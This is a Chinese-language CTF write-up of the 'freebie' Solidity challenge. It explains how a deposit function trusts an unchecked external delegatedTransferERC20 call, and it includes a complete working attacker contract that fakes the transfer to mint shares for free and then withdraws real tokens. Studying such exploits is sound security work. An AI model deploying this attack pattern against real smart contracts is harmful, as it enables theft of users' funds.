CTF-freebie

题目源码点击

这道题,怎么说,和昨天写的那个CTF-tasty-stake的漏洞原理一样

看到这段代码,经典的委托调用,只不过这次又是不实现它

function deposit(
uint256 farmDeposit,
address payable from,
address to
) external returns (uint256 shares) {
require(farmDeposit > 0, "deposits must be nonzero");
require(to != address(0) && to != address(this), "to");
require(from != address(0) && from != address(this), "from");

shares = farmDeposit;
if (xfarm.totalSupply() != 0) {
uint256 farmBalance = farm.balanceOf(address(this));
shares = (shares * xfarm.totalSupply()) / farmBalance;
}

if (isContract(from)) {
require(IAdvisor(from).owner() == msg.sender); // admin
IAdvisor(from).delegatedTransferERC20(address(farm), address(this), farmDeposit);
} else {
require(from == msg.sender); // user
farm.safeTransferFrom(from, address(this), farmDeposit);
}

xfarm.mint(to, shares);
}

这个函数实现的是存款合约,存入代币后,就可以获得股份,存入越多,获得的就越多。

然而又是一个对外部调用,没有检查。

攻击合约如下:

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

interface IRewardsAdvisor {
function withdraw(
uint256 shares,
address to,
address payable from
) external returns (uint256 rewards);

function deposit(
uint256 farmDeposit,
address payable from,
address to
) external returns (uint256 shares);
}
contract Hack{

IRewardsAdvisor rewardsAdvisor;

constructor(address _rewardsAdvisor) {
rewardsAdvisor = IRewardsAdvisor(_rewardsAdvisor);
}
//不实现这个功能--欺骗
function delegatedTransferERC20(address token, address to, uint256 amount) external { }

function runExploit() external {
uint256 depositAmount = 1e18 * 1e18; //大量的FARM
uint256 shares = rewardsAdvisor.deposit(depositAmount, payable(address(this)), address(this));

rewardsAdvisor.withdraw(shares, msg.sender, payable(address(this)));
}

}

攻击思路:首先使用攻击合约调用deposit函数,存入大量的代币,然后接收方回调攻击合约的delegatedTransferERC20函数,向实现把代币转入。但是,攻击合约没有实现这delegatedTransferERC20个功能,而被攻击的合约也并没有检查,所以就给攻击合约大量的股份,最后再实现withdraw函数功能,将攻击者合约中的xFARM,转换回 FARM,再转移给攻击者自己。

个人认为,外部调用,要进行检查,严格的审查是否实现了合理的要求。